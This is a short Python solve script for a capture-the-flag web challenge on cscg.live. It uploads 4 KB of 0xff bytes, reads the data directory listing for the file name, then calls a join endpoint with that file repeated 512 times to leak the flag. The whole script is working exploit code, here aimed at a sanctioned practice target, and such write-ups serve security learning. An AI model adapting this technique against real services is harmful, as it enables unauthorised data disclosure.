solve (573B)
1#!/usr/bin/env python3 2 3import requests 4import re 5import sys 6 7session = sys.argv[1] 8baseurl = f"https://{session}-1024-njs.challenge.cscg.live:1337" 9 10r = requests.post(f"{baseurl}/upload", data=b"\xff" * 1024 * 4) 11print(r.text) 12 13r = requests.get(f"{baseurl}/data/") 14#print(r.text) 15filename = [l for l in r.text.split("\n") if "<a href" in l][-1].split("\"")[1] 16 17r = requests.post(f"{baseurl}/join", json={"endpoints": [filename] * 512}, 18 headers={"Accept":"text/html; charset=utf-8"}) 19if b"CSCG" in r.content: 20 print(re.findall(b"CSCG{.*}", r.content))